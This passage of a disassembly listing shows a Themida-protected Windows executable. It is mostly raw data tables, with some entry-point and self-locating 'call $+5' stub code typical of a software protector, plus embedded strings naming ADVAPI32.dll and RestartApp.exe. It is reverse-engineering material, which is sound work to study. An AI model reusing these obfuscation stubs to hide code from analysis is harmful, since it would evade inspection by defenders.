dd 4EE285CCh, 0EFE6C40Eh, 738D300h, 6C8B98D2h, 0E03B03BFh
dd 48296E8Dh, 7E1C23BDh, 0C7C985A8h, 4EF4B212h, 596A0C01h
dd 898CD9C2h, 513142A2h, 6000CC71h, 8AE0E133h, 44DFB9h
dd 0E4FC9D04h, 6798BEDEh, 0EC1C3F50h, 0CB3C27E0h, 0FEF7804Ch
dd 0FB025F6Ch, 61041834h, 6FF5291Bh, 4EE43003h, 0C80343FFh
dd 0B9D2C7h, 2885BC95h, 0D8103F68h, 89C7A474h, 0F750596Eh
dd 96AC1Dh, 3CD25D3Dh, 25C17CAAh, 4E0F04Ch, 46E29EBEh
dd 0F9821483h, 6443A551h, 0CD5B0FCh, 2C7200ABh, 4A255578h
dd 730B21EDh, 4F2C077h, 44442694h, 585C88BEh, 0C1A0C658h
dd 2EC45F87h, 1CC7EDCh, 0D8E11DC5h, 975D5992h, 803FC31h
dd 0A10BAE9Ah, 2C2201C2h, 0A8D70E00h, 4E42EFB4h, 104A6924h
dd 196A9C80h, 0E2D63C33h, 0DF4B001Ch, 7EC7AF4Ch, 0D4020EE8h
dd 4998933Eh, 2C8E6C4h, 0ECBB0C96h, 0C04032F3h, 43F45098h
dd 80807F58h, 0A0D1B4D6h, 0AEA83C20h, 6F0014D8h, 4CAD2BB3h
dd 426066D2h, 0BE71E5D9h, 75F2447h, 9C1E34h, 0DCB3FB80h
dd 0C11FCBC9h, 440641D2h, 0FCE954C0h, 51790071h, 62C27B83h
dd 0AC90E037h, 22D48A5Ch, 203013Eh, 3D752154h, 83C0EB6Eh
dd 8B0B903Ah, 10A4DF82h, 0B8943058h, 0DBC81C10h, 0E7114059h
dd 6258766Fh, 0D9271C0h, 33A096h, 0B7CF7493h, 0B563DEE0h
dd 53D2E3Dh, 0A8844A16h, 7A306B87h, 0F88EE35Fh, 77BE1C19h
dd 95F9C588h, 2EC205Ah, 0B106F72Ah, 48A21CB2h, 10A90289h
dd 595F0C0Ah, 0BA9A9E83h, 3D0F818Fh, 0C787C4BEh, 5A395113h
dd 0DA801C20h, 502A077Fh, 96A7C76h, 0C959C384h, 0C8D304Ch
dd 6B4E4500h, 5EA1AEB9h, 75EB00FCh, 0A0C00719h, 481863C4h
dd 391031D4h, 52902449h, 815660D8h, 66303645h, 0D6081927h
dd 0CA6506B2h, 7033476Ah, 29E511E3h, 0E9C0C4h, 8E7736FDh
dd 0A849FAFCh, 581F693Ah, 0BE660368h, 236740h, 55764351h
dd 0FE0E59A9h, 0CD01A790h, 0A31A78E3h, 0B4604D5Eh, 0A53A2468h
dd 0EAE046C8h, 0AC000875h, 5246425h, 3F88AD59h, 0E20027DFh
dd 8E6E73E7h, 1400B960h, 6974B342h, 92446638h, 7EDF0050h
dd 73151AD5h, 570613CEh, 40D843E3h, 67BE0721h, 998F17C7h
dd 0DB500055h, 8986F2h, 3B6538ADh, 615DEBB6h, 1B00C8B1h
dd 993417A0h, 0E3FD0E0Bh, 0C11D9E3Fh, 0B66F275Ch, 3D6091AFh
dd 36A5B905h, 0FCEC8869h, 0CF8C7507h, 29B6B3h, 0D1480F7Bh
dd 0E90D018Bh, 3E408082h, 902966h, 88D3E351h, 1E5B7347h
dd 47B3BA15h, 3762Fh, 0F343CF91h, 0A5BC7F13h, 1BA4C020h
dd 0A1F914BFh, 65142438h, 0FE1EFF92h, 80EF9E9Dh, 69A01071h
dd 1B00F790h, 58014E38h, 4B36A78h, 0C18DE316h, 0C078C7B6h
dd 43EB5F82h, 0BD58C805h, 0B111612Ah, 0C4AD0088h, 0F33F078Fh
dd 0CCC8CA12h, 0FFFF5F01h, 6Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_546A16: ; CODE XREF: start:loc_4E0265j
; DATA XREF: start:loc_4E0086o
jmp loc_549F3F
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 0BCh
dd 24B6Bh, 0FF000000h, 0FFFFFFh, 3D000000h, 1A0203h, 4 dup(0)
dd 0E8000000h, 0A323h, 6 dup(0)
dd 92000000h, 57BAh, 54000000h, 12FFh, 88000000h, 321504h
dd 87000000h, 5911h, 9 dup(0)
dd 4000000h, 0
dd 1000000h, 3 dup(0)
dd 4B000000h, 0DB0057E9h, 5863h, 7 dup(0)
dd 80000000h, 0Eh, 43000000h, 2D8D8Fh, 2 dup(0)
dd 0B9000000h, 0D70057ECh, 5881h, 2 dup(0)
dd 0CF000000h, 6Ah, 0
dd 2E000000h, 3F00A25Eh, 6C005AE0h, 234F0Dh, 2 dup(0)
dd 1A000000h, 59F2h, 3 dup(0)
dd 40000000h, 76B41Bh, 2 dup(0)
dd 29000000h, 0E5F4849Dh, 0Eh dup(0)
dd 0D8000000h, 19D208h, 3 dup(0)
dd 4000000h, 7FFE03h, 0F8000000h, 12FEh, 2 dup(0)
dd 0F8025C00h, 12FEh, 6 dup(0)
dd 0FF000000h, 0E7FFFEBFh, 0A6A5h, 2 dup(0)
dd 0E9000000h, 1Ah dup(0)
dd 68000000h, 0A315h, 0
dd 8000000h, 8D0012FDh, 0EADA8Dh, 5 dup(0)
dd 0DF000000h, 53A9C530h, 4300A68Dh, 56h, 20h dup(0)
dd 0F7000000h, 0A209h, 4 dup(0)
dd 14000000h, 77E836h, 0
dd 82000000h, 69C614h, 2 dup(0)
dd 100h, 6 dup(0)
dd 0E0000000h, 0
dd 16000000h, 0B8h, 0A2000000h, 343h, 0DF000000h, 30h
dd 3 dup(0)
dd 0F000000h, 0A2A0h, 0
dd 66000000h, 0FFA1C0h, 37000000h, 46005BCEh, 0F80058B0h
dd 5490h, 31000000h, 2F4h, 77E600h, 2 dup(0)
dd 0BD000000h, 0FF0059F1h, 3B7286DAh, 1C5h, 4000000h, 7FFE03h
dd 4 dup(0)
dd 0E2000000h, 0DB8002CBh, 76B727h, 5D000000h, 5B50h, 2 dup(0)
dd 14000000h, 0E00h, 4 dup(0)
dd 60000000h, 3EC667h, 0CC000000h, 77DD5Eh, 37000000h
dd 0A29Ch, 64000000h, 12FFh, 48000000h, 0EF005832h, 77E793h
dd 0FF000000h, 0FFA5CCh, 5 dup(0)
dd 1F3A00h, 0C4000000h, 12FFh, 2 dup(0)
dd 1A000000h, 53000006h, 59F2h, 5 dup(0)
dd 4000000h, 7FFE03h, 0
dd 1C000000h, 70C205h, 8 dup(0)
dd 68000000h, 0A332h, 4000000h, 7FFE03h, 1000000h, 9 dup(0)
dd 0B4000000h, 0E800006Ah, 0CC000005h, 0
dd 1C000000h, 70C205h, 37000000h, 0DD1014CBh, 0A269h, 4 dup(0)
dd 0E9000000h, 10B7h, 0
dd 0CD000000h, 0FE4576h, 6 dup(0)
dd 0FE000000h, 0FFFFFFh, 0
dd 18000000h, 30058BBh, 5774h, 79000000h, 0DD005A49h, 0A269h
dd 4 dup(0)
dd 4000000h, 7FFE03h, 0
dd 0D0000000h, 58C5h, 2 dup(0)
dd 0B8000000h, 270057A8h, 5474h, 0E8000000h, 77E82Fh, 0B8000000h
dd 0
; ---------------------------------------------------------------------------
or eax, eax
jz short loc_546FEB
retn 18h
; ---------------------------------------------------------------------------
loc_546FEB: ; CODE XREF: Themida_:00546FE6j
mov eax, [esp+0Ch]
push ebx
call $+5
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0A2A037h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 14h dup(0)
dd 8B000000h, 5C9Ah, 2 dup(0)
dd 3E000000h, 77E600h, 4 dup(0)
dd 19000000h, 6 dup(0)
dd 8D000000h, 7CEFDC8Dh, 59BAh, 0
dd 0F7000000h, 0A600A209h, 0D0EB1FC9h, 0
dd 18000000h, 0F005819h, 0A2A0h, 6 dup(0)
dd 0BF000000h, 0DD7FFFFFh, 0E28E0h, 0F000000h, 0BAFFB751h
dd 5Ah, 3 dup(0)
dd 4000000h, 9 dup(0)
dd 0D8000000h, 49374h, 9 dup(0)
dd 60000000h, 0F9958Bh, 0
dd 3D000000h, 72005754h, 9B2579h, 50000000h, 7FECFCh, 0
dd 0D8000000h, 19D208h, 3 dup(0)
dd 37000000h, 21005BCEh, 212121h, 0
dd 0FC000000h, 8001FCh, 0A0000000h, 77FC6Fh, 0
dd 1000000h, 0
dd 59000000h, 0FFF34Eh, 4 dup(0)
dd 0B0000000h, 2C0212FFh, 0FFFE8Ch, 2Ah dup(0)
dd 93000000h, 0A293h, 0
dd 0BA000000h, 0FF4FFFh, 0
dd 4000h, 9 dup(0)
dd 73000000h, 0F1A36D1h, 0A2A0h, 8 dup(0)
dd 23000000h, 0A2000011h, 5B9Ch, 3 dup(0)
dd 1000000h, 2 dup(0)
dd 37000000h, 77E7A8h, 0
dd 0EA000000h, 1E43E0h, 5 dup(0)
dd 0A9000000h, 72BB8CBCh, 5C86h, 0
dd 32000000h, 5B56h, 0
dd 3E000000h, 835113h, 4000000h, 7FFE03h, 900h, 0
dd 0DF000000h, 1A9C530h, 50000000h, 0FE4D00h, 3 dup(0)
dd 56000000h, 0A2FAh, 5D000000h, 5B52h, 0
dd 0E8000000h, 0D9000006h, 50005C9Bh, 0FFFFA2h, 5D000000h
dd 38E13Fh, 0DF000000h, 0CDCD2EBDh, 5F005B32h, 548Ah, 3 dup(0)
dd 72000000h, 44C5A040h, 60C246DAh, 0FFA5FBh, 0FD000000h
dd 1777E7A5h, 5498h, 73000000h, 59E0h, 7 dup(0)
dd 2000000h, 4 dup(0)
dd 0AC000000h, 671C1Ch, 0
dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Ch dup(0)
dd 8B000000h, 5C9Ah, 0Fh dup(0)
dd 0B1000000h, 7AB893h, 3 dup(0)
dd 71000000h, 1E614F44h, 0A339h, 6 dup(0)
dd 0D9000000h, 3F81A16Eh, 77E7A1h, 4 dup(0)
dd 5B00B000h, 0
dd 0A8000000h, 0
dd 17000000h, 0E2FFEF48h, 8064B6h, 10h dup(0)
dd 4000000h, 1C7FFE03h, 0E470C205h, 0FFFE68h, 0
dd 0B6000000h, 57FCh, 93000000h, 0FE9B65h, 0
dd 34000000h, 763706h, 2 dup(0)
dd 4E000000h, 993F3h, 0
dd 0C4000000h, 5A64h, 8 dup(0)
dd 0A4000000h, 12FFh, 2 dup(0)
dd 0C9000000h, 6B5h, 3 dup(0)
dd 0DF000000h, 546Fh, 0
dd 67000000h, 5B31h, 6 dup(0)
dd 1A001DA0h, 0A29Dh, 0
dd 68000000h, 77E83Eh, 2 dup(0)
dd 0A1000000h, 599Ah, 0CF000000h, 8E00006Ah, 0ADEB8Eh
dd 3 dup(0)
dd 1000000h, 4A005CA0h, 0CDBA4E6Bh, 77E776h, 0C4000000h
dd 402Eh, 4 dup(0)
dd 5D000000h, 38E13Fh, 29000h, 4 dup(0)
dd 2000000h, 0BA000000h, 0FF53FFh, 7 dup(0)
dd 0A4000000h, 12FFh, 0
dd 9F000000h, 0A2704Dh, 7 dup(0)
dd 3C000000h, 22000000h, 22222222h, 222222h, 3 dup(0)
dd 7C000000h, 0DB005A55h, 0CC005C85h, 0
dd 76000000h, 6553F8h, 0
dd 94000000h, 1500003Dh, 2 dup(0)
dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h
dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 39h dup(0)
dd 9C000000h, 0E9024B6Bh, 77EBA6h, 0
dd 0CE000000h, 401A38Ch, 7FFE03h, 47000000h, 0C43513B5h
dd 7506B0h, 7 dup(0)
dd 2F000000h, 5B58h, 0
dd 5E000000h, 77E7ACh, 54000000h, 12FFh, 3 dup(0)
dd 0C4000000h, 402Eh, 0
dd 0A000000h, 0A28Ch, 24B00h, 4 dup(0)
dd 68000000h, 57A8h, 0EC000000h, 1D286h, 0
dd 2E000000h, 77E76Ah, 2 dup(0)
dd 1A000000h, 6, 2A000000h, 5819h, 0
dd 0DD000000h, 0A269h, 0
dd 0F4000000h, 1638Ch, 7 dup(0)
dd 0CD000000h, 5860h, 0B0000000h, 152FFh, 0A9000000h, 94h
dd 4 dup(0)
dd 0CD000000h, 3 dup(0)
dd 50000000h, 31CABE8Fh, 0FFFF95h, 9A000000h, 0BD6939D2h
dd 7EEF5Fh, 11000000h, 1D111111h, 1A2B0Eh, 0
dd 0D7000000h, 5816h, 6 dup(0)
dd 8D000000h, 106538Dh, 0Ah dup(0)
dd 23000000h, 0
dd 1000000h, 4 dup(0)
dd 28000000h, 68DFC1CBh, 221h, 64000000h, 540012FFh, 0FFh
dd 90000000h, 9, 3 dup(0)
dd 0FF000000h, 0FFFFFFh, 0Bh dup(0)
dd 8000000h, 12FDh, 5 dup(0)
dd 0DF000000h, 0A9C530h, 5 dup(0)
dd 0CF000000h, 5400006Ah, 12FFh, 8 dup(0)
dd 0D0000000h, 6585h, 10000000h, 5Fh, 0
dd 4000000h, 67FFE03h, 0
dd 90000000h, 0C40057A8h, 0FFFE6Ch, 4 dup(0)
dd 6C000000h, 10h, 0
dd 0DB000000h, 5863h, 4000000h, 7FFE03h, 0B0000000h, 242FFh
dd 23000000h, 5400h, 0
dd 1A000000h, 5771h, 6 dup(0)
dd 23000000h, 0FFA7AEh, 0DB000000h, 0FFA63Ah, 3 dup(0)
dd 0F4000000h, 0FFFFA2h, 0Dh dup(0)
dd 4000000h, 7FFE03h, 0
dd 0E7000000h, 0EB5AC7h, 8 dup(0)
dd 26000000h, 7FA75Bh, 8 dup(0)
dd 69000000h, 1005B70h, 0D4005A33h, 3 dup(0)
dd 1000000h, 2 dup(0)
dd 0D2000000h, 5881h, 89000000h, 898F59h, 0CF000000h, 6Ah
dd 6 dup(0)
dd 0C4000000h, 0A270h, 3 dup(0)
dd 34000000h, 14h, 0
dd 0D1000000h, 78000007h, 0B3005A3Ah, 7FFED0h, 3 dup(0)
dd 4000000h, 7FFE03h, 2 dup(0)
dd 8C000000h, 587Eh, 0Ah dup(0)
dd 0F000000h, 5B0057A6h, 0FFFFCBh, 0Dh dup(0)
dd 0B9000000h, 5A46h, 82000000h, 77E78Bh, 0C4000000h, 0FFFE6Ch
dd 0
dd 38000000h, 5BB6h, 0
dd 9E000000h, 58C4h, 4 dup(0)
dd 7F000000h, 0C9h, 0Ah dup(0)
dd 2C000000h, 5832h, 2 dup(0)
dd 0E0000000h, 0B2h, 3 dup(0)
dd 0FC000000h, 0FFFFFCh, 3 dup(0)
dd 4000000h, 7FFE03h, 0
dd 2000000h, 0
dd 0D0000000h, 17001446h, 0FFEF48h, 0Ah dup(0)
dd 2B000000h, 2 dup(0)
dd 0DF000000h, 0A9C530h, 6 dup(0)
dd 17000000h, 0FFFBFFh, 4 dup(0)
dd 0FC000000h, 0E75EFFh, 2 dup(0)
dd 0F1000000h, 0DFC1CBh, 0Ah dup(0)
dd 0B000000h, 5BCBh, 5 dup(0)
dd 67000000h, 546Ch, 2 dup(0)
dd 4000000h, 737FFE03h, 54A5h, 99000000h, 5B503D72h, 7FD039h
dd 3 dup(0)
dd 0E0000000h, 12FFh, 0DF000000h, 54000030h, 696D6568h
dd 6164h, 1Bh dup(0)
dd 59000000h, 0FFF34Eh, 0
dd 9F000000h, 3D483Dh, 4 dup(0)
dd 18000000h, 5819h, 0D8000000h, 19D208h, 1000000h, 0D7000000h
dd 0E877DD23h, 6700000Ch, 546Ch, 0F4000000h, 0FFFFA2h
dd 3 dup(0)
dd 68000000h, 0E9564D58h, 4 dup(0)
dd 18000000h, 5819h, 50000000h, 0FFFEC2h, 0
dd 37000000h, 77E7A8h, 0B0000000h, 0A26Ch, 7 dup(0)
dd 0ED000000h, 57FEh, 3 dup(0)
dd 4000000h, 7FFE03h, 4 dup(0)
dd 0A4000000h, 0FF0012FFh, 1BD7FDh, 0
dd 0EA000000h, 11725h, 4 dup(0)
dd 0BC000000h, 353CF9h, 4 dup(0)
dd 18000000h, 0FFFFF3h, 0
dd 0F8000000h, 12FEh, 2 dup(0)
dd 19000000h, 5933h, 2 dup(0)
dd 8D000000h, 5B06538Dh, 5B000003h, 581Fh, 2 dup(0)
dd 32000000h, 5C6Dh, 0A1000000h, 29h, 9A000000h, 77DD18h
dd 4 dup(0)
dd 0DD000000h, 0A269h, 54000000h, 0A1D5h, 0A7000000h, 0
dd 0FB000000h, 10E1BDh, 0Bh dup(0)
dd 0F5000000h, 57A5h, 6 dup(0)
dd 0EC000000h, 5A63h, 4 dup(0)
dd 18000000h, 5819h, 23000000h, 5400h, 4 dup(0)
dd 0CF000000h, 6Ah, 5 dup(0)
dd 0C000000h, 24300h, 6 dup(0)
dd 5B000000h, 0FFFFCBh, 8 dup(0)
dd 82000000h, 29007h, 0
dd 0E6000000h, 400A10Fh, 0AC7FFE03h, 0FFED00h, 1000000h
dd 2 dup(0)
dd 0CA000000h, 15267CAFh, 0
dd 0F8000000h, 3F9h, 0
dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 5 dup(0)
dd 0FD000000h, 448249h, 0AC000000h, 8, 3 dup(0)
dd 0A100h, 5 dup(0)
dd 54000000h, 12FFh, 6 dup(0)
dd 4000000h, 7FFE03h, 4 dup(0)
dd 0A6000000h, 4Fh, 2 dup(0)
dd 5F000000h, 0D880CEA3h, 0E00A47Fh, 2020Eh, 11h dup(0)
dd 4000000h, 7FFE03h, 0
dd 6A000000h, 77D4C9h, 8 dup(0)
dd 0A4000000h, 3B0012FFh, 400A23Eh, 7FFE03h, 8 dup(0)
dd 0F000000h, 0A2A0h, 67000000h, 0F000546Ch, 5B54h, 2 dup(0)
dd 61000000h, 773061h, 69000000h, 0A0005B70h, 6 dup(0)
dd 63000000h, 77E779h, 4 dup(0)
dd 4000000h, 7FFE03h, 8 dup(0)
dd 0E4000000h, 8F3DFAh, 0AC000000h, 0A49Bh, 5 dup(0)
dd 16000000h, 0A473h, 5 dup(0)
dd 37000000h, 0A2A0h, 6 dup(0)
dd 0C0000000h, 894BE4h, 22000000h, 1A842Ch, 39000000h
dd 6 dup(0)
dd 50000000h, 0FFFFA2h, 3 dup(0)
dd 95000000h, 0A699h, 4 dup(0)
dd 0FC000000h, 8001FCh, 0
dd 9F000000h, 17B14E93h, 5498h, 71000000h, 5ECC3Fh, 11h dup(0)
dd 0DE000000h, 0E57BD3h, 5 dup(0)
dd 0EA000000h, 11725h, 2 dup(0)
dd 0F9000000h, 9C7FFEF7h, 3 dup(0)
dd 77D400h, 0
dd 95000000h, 5CF9h, 3 dup(0)
dd 0FD000000h, 7BBEFFh, 0E0000000h, 0FE7h, 0
dd 18000000h, 5819h, 2 dup(0)
dd 0A0000000h, 7DDA24h, 6 dup(0)
dd 4000000h, 7FFE03h, 2000000h, 2 dup(0)
dd 99000000h, 0A294h, 0
dd 48000000h, 5832h, 8C000000h, 0FD7658h, 0
dd 0F000000h, 9500A2A0h, 1BEB09h, 3 dup(0)
dd 8F000000h, 974C49h, 4 dup(0)
dd 0B900h, 0D6000000h, 0A0FFF86Eh, 3, 76B400h, 9C000000h
dd 0A24E57h, 34000000h, 0A4B1h, 3 dup(0)
dd 7B000000h, 547Ch, 0Ah dup(0)
dd 0F8000000h, 0A100h, 8 dup(0)
dd 6A024300h, 5A7Fh, 0BF000000h, 572Fh, 24000000h, 242424h
dd 2 dup(0)
dd 0E9000000h, 0B00010B7h, 1D7FFh, 0
dd 4000000h, 7FFE03h, 3D000000h, 97h, 2 dup(0)
dd 44000000h, 77E7A1h, 4 dup(0)
dd 4000000h, 3, 3 dup(0)
dd 4000370h, 737FFE03h, 557h, 5 dup(0)
dd 3C000000h, 59BCh, 0Eh dup(0)
dd 0BC000000h, 5B11EFh, 3 dup(0)
dd 35000000h, 0FFFFF8h, 0C3000000h, 0B2B4DCh, 64000000h
dd 230012FFh, 5800h, 0
dd 8D000000h, 0DF638Dh, 38000000h, 5832h, 4 dup(0)
dd 0CF000000h, 6Ah, 2 dup(0)
dd 92000000h, 400A222h, 0A47FFE03h, 2 dup(0)
dd 25E00h, 6 dup(0)
dd 4000000h, 0D87FFE03h, 19D208h, 4 dup(0)
dd 85000000h, 33h, 2 dup(0)
dd 4000000h, 7 dup(0)
dd 44000000h, 477E7A1h, 5E000003h, 0D30FB071h, 1CA026h
dd 0
dd 5F000000h, 477F7EDh, 7FFE03h, 0FC000000h, 0D88001FCh
dd 19D208h, 2 dup(0)
dd 30000000h, 2040F5h, 0
dd 40000000h, 0B8h, 0Bh dup(0)
dd 9C000000h, 0
dd 23000000h, 0D8FFA7AEh, 77E805h, 0C2000000h, 58A2h, 6 dup(0)
dd 0E9000000h, 220010B7h, 805940h, 77F500h, 8 dup(0)
dd 0A3000000h, 0CDA680h, 1Ch dup(0)
dd 0B0000000h, 222FFh, 8D000000h, 77098Dh, 2D000000h, 58F3h
dd 3 dup(0)
dd 9C000000h, 74024B6Bh, 0E8865559h, 77E82Fh, 8 dup(0)
dd 4000000h, 7FFE03h, 1Ch dup(0)
dd 0E9000000h, 40010B7h, 0FFFFFFh, 25C00h, 0
dd 41000000h, 4D6h, 4000000h, 48000000h, 5832h, 3 dup(0)
align 8
inc edi
retf 16h
; ---------------------------------------------------------------------------
dd 5 dup(0)
dd 0B2000000h, 0BDFFFF78h, 5B11EFh, 0
dd 0A000000h, 0A28Ch, 2 dup(0)
dd 17000000h, 0D3h, 0E3000000h, 5B6Ch, 0
dd 0CD000000h, 77E776h, 2 dup(0)
dd 9577DD00h, 0E9005CF9h, 10B7h, 18000000h, 5819h, 0
dd 18000000h, 1877E806h, 0F0005819h, 77DD59h, 0
dd 0B0000000h, 2 dup(0)
dd 18000000h, 6005819h, 77E6D7h, 3000000h, 5700h, 0
dd 0FE000000h, 0FD00B2A1h, 4448249h, 7FFE03h, 2 dup(0)
dd 0DC000000h, 22FFFF93h, 6Eh, 57000000h, 0C4FF0199h, 0A270h
dd 6A000000h, 77D4C9h, 0B3000000h, 77F7EBh, 0C4000000h
dd 2E000000h, 59C0h, 0DD0h, 5 dup(0)
dd 8D000000h, 0EADA8Dh, 5 dup(0)
dd 25B00h, 5 dup(0)
dd 99000000h, 6D0E23h, 54000000h, 12FFh, 0
dd 4000000h, 7FFE03h, 2 dup(0)
dd 14h, 4 dup(0)
dd 0F7000000h, 0E8005490h, 22Fh, 8Ch dup(0)
dd 78000000h, 60F24Dh, 0
dd 0FC000000h, 8001FCh, 0E1000000h, 581Fh, 0
dd 0F8000000h, 9C43h, 4 dup(0)
dd 4000000h, 7FFE03h, 0C8000000h, 6 dup(0)
dd 54000000h, 0A331h, 0
dd 0DF000000h, 0A9C530h, 2 dup(0)
dd 5B000000h, 5AD0h, 3 dup(0)
dd 0F4000000h, 0FFFFA2h, 63h dup(0)
dd 4000000h, 7FFE03h, 9C000000h, 0BC1h, 0
dd 50000000h, 0FFFFA2h, 6 dup(0)
dd 8000000h, 0F0001100h, 12FFh, 0
dd 80000000h, 805DE3h, 7 dup(0)
dd 88000000h, 9F0DB2h, 9 dup(0)
dd 0EA000000h, 0FD42B4h, 3 dup(0)
dd 44000000h, 0C246DAh, 5B000000h, 0FFFFCBh, 9C004010h
dd 24B6Bh, 0F8000000h, 0B8A3F8h, 3 dup(0)
dd 0FB000000h, 0E08204D6h, 0F691h, 2 dup(0)
dd 0C9000000h, 881857h, 2 dup(0)
dd 2000000h, 3 dup(0)
dd 0C9000000h, 881857h, 2 dup(0)
dd 5000000h, 0F20A2801h, 5B59h, 3 dup(0)
dd 56000000h, 5904h, 99000000h, 77E7A0h, 7 dup(0)
dd 69000000h, 5B70h, 2 dup(0)
dd 0CA000000h, 0B0B1h, 7 dup(0)
dd 10h, 8 dup(0)
dd 9F000000h, 5719h, 4 dup(0)
dd 0CF000000h, 6Ah, 0
dd 15000000h, 0BC6935E5h, 7 dup(0)
dd 0B8000000h, 5 dup(0)
dd 0E000000h, 4B02CFE3h, 57E9h, 3 dup(0)
dword_5494AC dd 50000000h, 58D5h, 6 dup(0) ; DATA XREF: Themida_:0055B22Eo
dd 0C0000000h, 5 dup(0)
dd 0F877E600h, 1D0012FEh, 82AFB197h, 1D005844h, 2D35D43Dh
dd 58F3h, 4000000h, 7FFE03h, 4 dup(0)
dd 18000000h, 1A005819h, 5BC6h, 3E000000h, 0A100h, 0
dd 2000000h, 2Ah dup(0)
dd 4000000h, 7FFE03h, 5 dup(0)
dd 0B6000000h, 0AF6909h, 58000000h, 1A000063h, 98BA6606h
dd 0A4000000h, 9B0012FFh, 530882h, 0C4000000h, 0FFA643h
dd 0C0000000h, 894BE4h, 7 dup(0)
dd 6B000000h, 588Bh, 0
dd 0E9000000h, 10B7h, 4DE0h, 0
dd 8A000000h, 2B2700h, 3 dup(0)
dd 68000000h, 477E821h, 7FFE03h, 3CCh, 97000000h, 59F5h
dd 3 dup(0)
dd 0C0000000h, 0
dd 0E8000000h, 77E82Fh, 2 dup(0)
dd 0D0000000h, 0CD4DAAh, 5 dup(0)
dd 5B000000h, 4100A291h, 0ABE628h, 0
dd 7E000000h, 87h, 3 dup(0)
dd 0A7000000h, 5A63h, 0
dd 0BA000000h, 360ACC6Bh, 363636h, 0Dh dup(0)
dd 45000000h, 0A231h, 2 dup(0)
dd 0AD000000h, 76100A6Ah, 7, 0
dd 0EB000000h, 16h, 4 dup(0)
dd 82000000h, 77E78Bh, 0
dd 0B0000000h, 2 dup(0)
dd 0EC000000h, 5A63h, 3D000000h, 589Dh, 5C000000h, 221h
dd 7 dup(0)
dd 2B000000h, 58h, 2 dup(0)
dd 0AC000000h, 90000000h, 7A77EBh, 7 dup(0)
dd 0E1000000h, 174D99h, 0CD025D00h, 1005860h, 4 dup(0)
dd 18000000h, 4, 0
dd 77E600h, 0C0000000h, 0D4001FCFh, 0FC005B4Eh, 2 dup(0)
dd 7C000000h, 59BAh, 29h dup(0)
dd 1F000000h, 5AE1h, 0
dd 0E9000000h, 400h, 4 dup(0)
dd 0AB000000h, 7C127Ch, 2 dup(0)
dd 0CF000000h, 6Ah, 0
dd 18000000h, 23FFA59Ch, 5400h, 0Bh dup(0)
dd 0DE000000h, 0A22Bh, 5 dup(0)
dd 39000000h, 0FF0054AAh, 0A37Fh, 4 dup(0)
dd 9C000000h, 0FFFFA0h, 60000000h, 0A315h, 5F000000h, 0A2BAh
dd 5 dup(0)
dd 0CE000000h, 5BB0h, 9 dup(0)
dd 86000000h, 0A477E7C4h, 12FFh, 0
dd 0C3000000h, 34005B37h, 5500A292h, 8368A2h, 17000000h
dd 18FFEF48h, 5819h, 8 dup(0)
dd 44000000h, 0C246DAh, 0CA000000h, 1782FCh, 68000000h
dd 0A1B1h, 4000000h, 7FFE03h, 0Dh dup(0)
dd 0D8000000h, 0CA906Ah, 2 dup(0)
dd 0DD000000h, 0A269h, 5 dup(0)
dd 0CF000000h, 0DC00006Ah, 433C49h, 0Fh dup(0)
dd 0A100h, 3 dup(0)
dd 0B5000000h, 77E75Ch, 5 dup(0)
dd 0B4000000h, 0Ch dup(0)
dd 63000000h, 3CB4CDh, 0CA000000h, 39E854h, 0
dd 4000000h, 7FFE03h, 0AC000000h, 0FF4DBAh, 5 dup(0)
dd 0B5000000h, 77E75Ch, 0D3000000h, 779DD9h, 2 dup(0)
dd 4D000000h, 710057FEh, 5DD2B6h, 0
dd 47000000h, 3513B5h, 0AEh dup(0)
dd 2000000h, 7 dup(0)
dd 33000000h, 2 dup(33333333h), 25333333h, 59C5h, 22000000h
dd 8818C8h, 0
dd 47000000h, 54ADh, 2 dup(0)
dd 87000000h, 1ACD874Dh, 833E7Dh, 4 dup(0)
dd 0BC000000h, 5775h, 0
dd 0F000000h, 77F52Eh, 4 dup(0)
dd 0CD000000h, 2BE326h, 46000000h, 0FF4F5Ch, 4 dup(0)
dd 69000000h, 7B005B70h, 1FFFFCCh
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_549F3F: ; CODE XREF: start:loc_546A16j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 6123533h
mov [ebp+6120469h], edx
mov [ebp+6120EF5h], esi
mov [ebp+61228A5h], eax
cmp dword ptr [ebp+6121229h], 0
jz short loc_549F77
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_549F77: ; CODE XREF: start+69F55j
mov eax, [esp+40h+var_1C]
mov [ebp+61234E5h], eax
push 45h
call sub_54A02B
push 783749Ah
call sub_54A071
push 0A894B25h
call sub_54A071
jmp loc_54A1B5
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 45h, 46h, 47h
dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
dd 0C3C2C1C0h, 2 dup(0)
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54A02B proc near ; CODE XREF: start+69F6Fp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6123621h
mov ebx, edx
mov [ebp+var_28], 0
loc_54A047: ; CODE XREF: sub_54A02B+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
